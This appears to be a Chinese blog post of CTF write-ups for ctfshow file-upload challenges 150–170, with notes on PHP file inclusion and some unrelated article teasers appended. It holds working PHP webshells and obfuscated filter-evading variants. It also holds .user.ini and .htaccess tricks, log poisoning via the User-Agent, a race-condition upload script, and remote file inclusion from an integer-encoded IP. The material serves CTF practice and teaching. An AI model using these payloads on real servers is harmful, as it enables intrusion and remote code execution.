安全基础~通用漏洞3

文章目录

  • 知识补充
  • 文件上传(1)
    • ctfshow 文件上传靶场练习150-161
  • 文件上传(2)
    • ctfshow 文件上传靶场练习162-170
  • 文件上传总结
  • 文件包含

知识补充

url编码:0a 换行;20空格;3c左尖括号;3e右尖括号;23 #;2b +;

.htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的

.htaccess可以控制错误重定向,初始页面设置,文件夹的访问权限,文件的跳转等

Nginx如果直接访问,可以下载该文件。如果是apache的话,正常情况下该文件是不可被访问的,但是可以通过php的include之类的文件包含函数进行内容访问
常见Linux日志文件:https://www.cnblogs.com/Hi-blog/p/linux-var-log-files.html

0x00截断:是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。%00截断,与其是同一个道理 在URL中如 xx.php?filename=test.php%00.txt
00截断原理参考文章

php://input:执行POST数据中的php代码
php://filter:读取源代码并进行base64编码输出

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

show_rouse:高亮显示源代码
include:仅仅是包含代码,错误提示,继续执行

像这样的代码,file变量来接受一个文件。容易造成文件包含漏洞。
TEST

PHP Filter伪协议Trick总结
php://filter的妙用
php伪协议的使用
LFI 绕过 Session 包含

文件上传(1)

知识点

1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini妙用
4、文件上传-PHP语言特性

详细内容

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

ctfshow 文件上传靶场练习150-161

一句话木马使用参数为a

测试目录

php4种常见风格标签写法
1:正常写法xml格式
<?phpecho '1111';
?>2:短标签
<?echo '1111';
?>5.4<?= 'hello'; === <? echo 'hello';<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>
<?需要 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
而自 PHP5.4 起,短格式的 echo 标记 <?= 总会被识别并且合法,而不管 short_open_tag 的设置是什么。3:asp风格写法
<%echo '1111';  
%>
(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了4:长标签风格
<script language="php">XXXXXX</script>
在php7之后被移除了

web151

  • 打开后看源码,上传非png文件时会报错,但是bp中没有流量产生,说明为前端过滤

    源码

  • 观察发现仅仅能上传png格式,在前端进行修改,改为php
    检查

  • 上传成功,hackbar来获取glag。
    a=system("ls");
    a=system("ls ../");
    a=system("tac ../flag.php"); 过滤了cat
    result

web152

  • 显示后端验证,后端验证首要是验证MIME类型,所以更改类型即可。
    抓包修改前
  • 将箭头位置修改为image/png后,放包,执行之前命令即可

web153

  • 修改完上述内容后,上传发现还是错误的
    原样

  • 尝试绕过
    多文件格式后缀解析,大小写(但是提示下载),php5(提示下载),等,仍不可以上传。

    服务器是nginx,使用.user.ini解释:https://www.php.net/manual/zh/configuration.file.per-user.php
    PHP 以模块化运行在 Apache 里,类似 .htaccess 文件。

  • 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

    在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别
    也就是里面除了PHP_INI_SYSTEM模式的配置,其它都可以在.user.ini进行更改

    发现
    auto_append_file=filename     //一个相当于在每个php文件尾加上 include(“filename”)
    auto_prepend_file=filename    //一个相当于文件头加上 include(“filename”)
    
  • .user.ini生效条件:
    有index.php文件;.user.ini存在;上传的码文件要在同级目录。

  • 上传一个.user.ini,内容:auto_prepend_file=1.png
    eg1
    eg2
    eg3

  • 成功
    result

web154

过滤了一些代码,与前面153关一样。
过滤验证,一个一个验证后,发现当<>与php同时存在时,就进行了过滤,但是其大小写过滤不严谨。

<?pHpeval($_POST["a"]);
?>

也可以更换为其它的执行式<?=eval($_POST["a"]);?>

web155

过滤了php,只要有php就会报错

<?=eval($_POST["a"]);?>

web156

php支持{}符号代替[]符号
过滤了[],可以更换为{}

web157、158

在上一关的基础上过滤了{};

已经知道了有flag,直接就测试
<?=system('tac ../f*')?> 直接更改1.png内容为此
<?=(system("tac ../fl*"))?> 语句也可以使用()包裹。

web159

()给ban了,我们采用反引号" ` "来执行命令

<?=`tac ../f*`?>

web160

过滤了反引号和空格

运行linux nginx的日志路径:/var/log/nginx/access.log
使用日志文件进行<?=include"/var/lo"."g/nginx/access.l"."og"?>
查看网页源码,发现返回信息有UA头,ip信息等,则将UA头更改为木马即可。
test

result

web161

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

添加png的文件头,GIF89a;
或者制作一个png的图片码,其实原理都一样。.user.ini也要添加

// 另外了解到很新奇的方法
还是先上传.user.ini,再上传图片,图片内容为<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然后直接访问/upload/,进行base64解码就行

文件上传(2)

知识点

1、文件上传-二次渲染
2、文件上传-简单免杀变异
3、文件上传-.htaccess妙用
4、文件上传-PHP语言特性

详细内容

1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

ctfshow 文件上传靶场练习162-170

web162

如果 session.use_strict_mode = Off 时, 我们可以通过在 Cookie 中设置 PHPSESSID=123 (默认 prefix 为 PHPSESSID) 来指定 session 文件名为 sess_123 (否则就是 sess_[32位随机字符串])
session.upload_progress.cleanup = On 的话比较麻烦, 因为要条件竞争

过滤了.flag
也就是说,前面的都用不了。
涉及到文件包含知识种的session文件包含
在.user.ini中添加session文件

本关使用条件竞争
构造html文件

<!DOCTYPE html>
<html>
<body>
<form action="http://af96c5f7-48ea-4275-b753-303ec6e0f108.challenge.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php echo 123;eval($_POST[1]); ?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

详见:https://ltfa1l.top/2023/08/17/web安全(早就不搞)/文件上传/

或者使用脚本跑,直接用网上搜的吧

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={'file':'yu22x'
}
cookies={'PHPSESSID': sess
}def write():while True:r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():while True:r = session.get(url2)if 'flag' in r.text:print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()

web163

可以使用条件竞争,和上题一样。
也可以使用远程文件包含
先上传.user.ini:auto_prepend_file=png
然后上传png:<?=include’http://794750069/'>
后面的是ip地址长转换
转换链接:https://www.bejson.com/convert/ip2int/

web164

png二次渲染,上传好图片后下载发现其二进制编码发生改变,在原来的基础上进行了增加删改等 。

二次渲染
gif图片:在重复代码的地段添加木马即可
png图片与jpg图片:参考链接:https://xz.aliyun.com/t/2657?time__1311=n4%2BxnieDw4uneG%3DD%2FWT4BKaeWufO0cA7YD

PHP 通过 gd 库实现二次渲染

imagecreatefromgif()
imagecreatefromjpeg()
imagecreatefrompng()
...

https://www.php.net/manual/zh/ref.image.php

web165

jpg二次渲染,网上有脚本

图片与脚本至于同一目录,使用命令php jpg二次渲染.php 1.jpg

web166

include($file),这是我们zip能够执行php代码的条件!
限制上传类型为zip,修改zip内容为木马

这里自己上传的zip包,MIME类型为:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed

抓下载的包,获取URL网址,post传参a=system(“tac …/fl*”);die();
使用die是为了在include后,执行system后截断。

web167

.user.ini上传,错误,发现服务器是Apache
可以用.htaccess文件

上传jpg后,数据内容添加/修改为
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件

上传带有木马的jpg图像,抓包获取下载图片,传参得flag

web168

基本查杀,返回200,但内容是null
请求

过滤了eval,和system,$_POST $_GET等等

脚本1:
<?=`$_REQUEST[1]`;?>    //利用反引号执行系统命令脚本2:
<?php
$a=$_REQUEST['a']; 
$b=$_REQUEST['b'];
$a($b);
?> //a=system&b=tac ../flagaa.php脚本3:
<?php $a='syste'.'m';($a)('ls ../');    //拼接//把ls ../换成tac ../flagaa.php即可找到flag脚本4:
<?php 
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可脚本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>脚本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数  get传参   abs=system&acos=tac ../flagaa.php

修改filename="3.php"
内容为 <?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>,上传成功
result
接着会有下载得按钮,跳转路径不对,url应该加上/upload/上传的文件名,传参?1=tac ../flagaa.php

web169/170

前端zip,后端png
过滤了 <>,那么就没有办法执行PHP代码了,只能尝试通过上传 .user.ini 文件包含日志或者使用伪协议。

1. 伪协议无法上传,大小写无法绕过php关键字

eg1
2. 包含日志成功上传

eg2
包含日志上传成功了, 我们访问 upload 目录,发现 upload 目录下并没有 index.php 或者 其他PHP文件,导致 .user.ini 无法包含。
EG3
直接上传一个php文件即可,UA头为:<?=eval($_POST["a"]);?>

参考文章

文件上传总结

前端校验,采用修改前端代码或禁用JS等

  1. content-type校验,修改数据包中content-type值
  2. 上传配置文件,修改配置进行上传
  3. 上传内容检测,通过二分法测试出检测内容,使用各种姿势进行绕过
  4. 文件头校验,在文件中添加符合上传规则的文件头
  5. 配合文件包含,使用包含日志和包含session文件
  6. 二次渲染使用脚本构建图片马配合文件包含进行上传

文件包含

first
远程文件包含时,如若包含的是php代码,则将会返回解析后的结果,就是远程服务器的结果;若仅仅是包含了类似php的代码,则会返回到自己服务器上进行php解析,得到本身的结果。

Session文件包含

session
session利用

参考链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/249636.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

研发日记,Matlab/Simulink避坑指南(八)——else if分支结构Bug

文章目录 前言 背景介绍 问题描述 分析排查 解决方案 总结归纳 前言 见《研发日记&#xff0c;Matlab/Simulink避坑指南(三)——向上取整Bug》 见《研发日记&#xff0c;Matlab/Simulink避坑指南(四)——transpose()转置函数Bug》 见《研发日记&#xff0c;Matlab/Simuli…

IP 层转发分组的过程

目录 IP 层转发分组的过程 1.1 基于终点的转发 1.2 最长前缀匹配 转发表中的 2 种特殊的路由 主机路由 (host route) 默认路由 (default route) 路由器分组转发算法 1.3 使用二叉线索查找转发表 IP 层转发分组的过程 1.1 基于终点的转发 分组在互联网中是逐跳转发的。…

VMware vCenter告警:vSphere UI运行状况警报

vSphere UI运行状况警报 不会详细显示告警的具体内容&#xff0c;需要我们自己进一步确认告警原因。 vSphere UI运行状况警报是一种监控工具&#xff0c;用于检测vSphere环境中的潜在问题。当警报触发时&#xff0c;通常表示系统遇到了影响性能或可用性的问题。解决vSphere UI…

【LVGL源码移植】

LVGL源码移植 ■ LVGL源码移植一&#xff1a;下载LVGL源码二&#xff1a;修改LVGL文件夹1: 将这5个文件&#xff0c;复制到一个新的文件夹2: 简化文件&#xff0c;减少内存消耗&#xff08;去除不必要的文件&#xff09;3: 为了规范化&#xff0c;我们将下列文件进行重命名 三&…

Apache POI 处理excel文件 记录用法

Apache POI 写excel public static void write() throws IOException {//再内存中创建了一个Excel文件XSSFWorkbook excel new XSSFWorkbook();//创建一个sheet页XSSFSheet sheet excel.createSheet("info");//这里创建行对象,这里的rownum 是从0开始的,类似于数…

大数据开发之离线数仓项目(用户行为采集平台)(可面试使用)

第 1 章&#xff1a;数据仓库概念 数据仓库&#xff0c;是为企业指定决策&#xff0c;提供数据支持的&#xff0c;可以帮助企业&#xff0c;改进业务流程、提高产品质量等。 数据仓库的输入数据通常包括&#xff1a;业务数据、用户行为数据和爬虫数据等。 业务数据&#xff1a…

维护管理Harbor,docker容器的重启策略

维护管理Harbor 通过HarborWeb创建项目 在 Harbor 仓库中&#xff0c;任何镜像在被 push 到 regsitry 之前都必须有一个自己所属的项目。 单击“项目”&#xff0c;填写项目名称&#xff0c;项目级别若设置为"私有"&#xff0c;则不勾选。如果设置为公共仓库&#…

【新书推荐】4.3节 键盘扫描码

本节内容&#xff1a;键盘扫描码。 ■键盘扫描码&#xff1a;8086计算机的键盘上的按键分为字符键、功能键和控制键。每一个按键都对应一个键盘扫描码。当按下按键时的扫描码称为通码&#xff0c;松开按键时的扫描码称为断码。如果按下的是字符键&#xff0c;则将其对应的一个…

假期刷题打卡--Day20

1、MT1173魔数 一个数字&#xff0c;把他乘以二&#xff0c;会得到一个新的数字&#xff0c;如果这个新数字依然由原数中那些数字组成&#xff0c;就称原数为一个魔数。输入正整数N&#xff0c;检查它是否是一个魔数&#xff0c;输出YES或者NO。 格式 输入格式&#xff1a; …

深度学习之反向传播

反向传播英文叫做Back Propagation。 为什么需要使用反向传播 对于简单的模型我们可以用解析式求出它的损失函数的梯度&#xff0c;例如&#xff0c;其损失函数的梯度就是&#xff0c;我们可以通过我们的数学知识很容易就得到其损失函数的梯度&#xff0c;继而进行使用梯度下…

网络原理,网络通信以及网络协议

​​​​&#x1f493; 博客主页&#xff1a;从零开始的-CodeNinja之路 ⏩ 收录专栏&#xff1a;网络原理,网络通信以及网络协议 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 文章目录 网络原理概念网络通信局域网LAN广域网WAN 网络通信IP地址端口号…

HBase介绍

一、HBase简介 1.1、HBase是什么 Google在200-2006发表了GFS、MapReduce、BigTable三篇 论文 &#xff0c;号称“三驾马车”&#xff0c;开启了大数据的时代。 GFS是Google File System&#xff0c;开源实现是HDFS&#xff08;Hadoop File System&#xff09;。 MapReduce…

深度学习-搭建Colab环境

Google Colab(Colaboratory) 是一个免费的云端环境&#xff0c;旨在帮助开发者和研究人员轻松进行机器学习和数据科学工作。它提供了许多优势&#xff0c;使得编写、执行和共享代码变得更加简单和高效。Colab 在云端提供了预配置的环境&#xff0c;可以直接开始编写代码&#x…

vue2 导入使用vue-codemirror详解

目录 vue2 导入使用vue-codemirror详解1 介绍2 安装使用2.1 安装 vue-codemirror2.2 使用 codemirror2.2.1 引入 3 配置详情3.1 语言模式配置3.2 自动高度设置3.4 主题配置 4 总结 vue2 导入使用vue-codemirror详解 1 介绍 vue-codemirror是一个基于Vue的代码在线编辑器组件&…

Linux部署DataEase数据分析工具并结合内网穿透实现任意设备远程查看数据

文章目录 前言1. 安装DataEase2. 本地访问测试3. 安装 cpolar内网穿透软件4. 配置DataEase公网访问地址5. 公网远程访问Data Ease6. 固定Data Ease公网地址 前言 DataEase 是开源的数据可视化分析工具&#xff0c;帮助用户快速分析数据并洞察业务趋势&#xff0c;从而实现业务…

线性表的链式表示【单链表】

目录 单链表的优缺点 单链表结点的定义 头插法新建链表 尾插法新建链表 按位查找 按值查找 i 位置插入元素 单链表的删除 单链表的优缺点 优点缺点 1. 插入和删除操作不需要移动元素&#xff0c;只需要修改指针 2. 不需要大量的连续存储空间 1. 单链表附加指针域&…

【昕宝爸爸小模块】日志系列之什么是分布式日志系统

➡️博客首页 https://blog.csdn.net/Java_Yangxiaoyuan 欢迎优秀的你&#x1f44d;点赞、&#x1f5c2;️收藏、加❤️关注哦。 本文章CSDN首发&#xff0c;欢迎转载&#xff0c;要注明出处哦&#xff01; 先感谢优秀的你能认真的看完本文&…

基于单片机温度控制系统的研究

摘 要&#xff1a;笔者基于单片机的温度控制系统&#xff0c;从单片机选择、传感器选择、系统框架设计等方面概述了单片机的温度控制系统内涵&#xff0c;分析了其运行原理&#xff0c;列举了单片机温度控制系统设计的实操方法&#xff0c;从硬件系统、软件系统、温度检测方法…

第一节课,用户管理--后端初始化,项目调通。二次翻工2

一、网址来源&#xff1a; 快速开始 | MyBatis-Plus (baomidou.com) 进程&#xff1a; ​ 二、[此处不看]添加测试类&#xff0c;看下效果 2.1 参考 一、第一节课&#xff0c;用户管理--后端初始化&#xff0c;项目调通-CSDN博客 ​ 2.2 新建 SampleTest ​ 2.3 复…

基于springboot汽车租赁系统源码和论文

首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包括软件架构模式、整体功能模块、数据库设计。本项…